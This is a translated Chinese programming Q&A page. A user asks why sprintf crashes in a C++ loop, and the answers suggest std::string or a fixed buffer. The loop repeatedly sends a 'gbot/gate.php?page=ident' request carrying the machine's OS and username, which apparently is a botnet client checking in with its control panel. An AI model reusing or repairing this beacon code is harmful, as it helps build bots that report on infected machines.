关于GET和sprint的c++代码
C++ code about GET and sprintf
while(true)
{
char *mybuf;
if(getenv("windir") != NULL)
{
//mybuf = "GET /gbot/gate.php?page=ident&os=windows&username=%srnrn";
sprintf(mybuf, "GET /gbot/gate.php?page=ident&os=windows&username=%srnrn", getenv("username"));
}
else
mybuf = "GET /gbot/gate.php?page=ident&os=linuxrnrn";
send(Socket, mybuf, strlen(mybuf), 0);
char buffer[10000];
recv(Socket, buffer, 10000,0);
cout << buffer;
_sleep(60000);
}
我有这段代码,sprintf使程序崩溃。我如何使我的buf,包含用户名(getenv),而不崩溃我的项目?非常感谢。
除非您真的想要创建另一个缓冲区溢出问题,否则根本不要使用sprintf
。既然你已经标记了这个c++,我建议更像这样:
std::string mybuf("GET /gbot/gate.php?page=ident&os=");
if(getenv("windir") != NULL) {
mybuf += "windows&username=";
mybuf += getenv("username");
mybuf += "rnrn";
}
else
mybuf += "linuxrnrn";
send(Socket, mybuf.c_str(), mybuf.length(), 0);
char *mybuf
只是给你一个char
指针,没有别的。您需要实际分配char
缓冲区,以便sprintf
有一些地方可以将其结果写入。尝试将其改为数组(以避免手动内存管理):
char mybuf[SIZE];
将SIZE
替换为您想要的缓冲区大小
然而,我担心你认为你在写c++。这看起来更像c。
相关文章:
- C++我的数学有什么问题,为什么我的代码不能正确循环
- 代码在main()中运行,但在函数中出现错误
- 在VS代码中交叉编译Windows与Linux上的MinGW的SDL程序
- 编译包含字符串的代码时遇到问题
- 我在c++代码中生成了一个运行时#3异常
- 如何在linux终端中同时编译和运行c++代码
- 为cl.exe(Visual Studio代码)指定命令行C++版本
- 在Linux for Windows上编译C++代码时出错
- 我的字符计数代码计算错误.为什么
- 孤立代码块在结构中引发异常
- 在编译C++代码(具有dlib和opencv)到WASM时面临问题
- 为什么我的C#代码在调用回C++COM直到Task时会暂停.等待/线程.加入
- 处理小于cpu数据总线的数据类型.(c++转换为机器代码)
- 此代码是否违反一个定义规则
- 为什么我的代码在输出中增加了93天
- 我的简单if-else语句是如何无法访问的代码
- 使用动态分配的数组会导致代码分析发出虚假的C6386缓冲区溢出警告
- 为什么在这个代码结束循环中没有得到结束
- 在c代码之间共享数据的最佳方式
- 这个指针和内存代码打印是什么?我不知道是打印垃圾还是如何打印我需要的值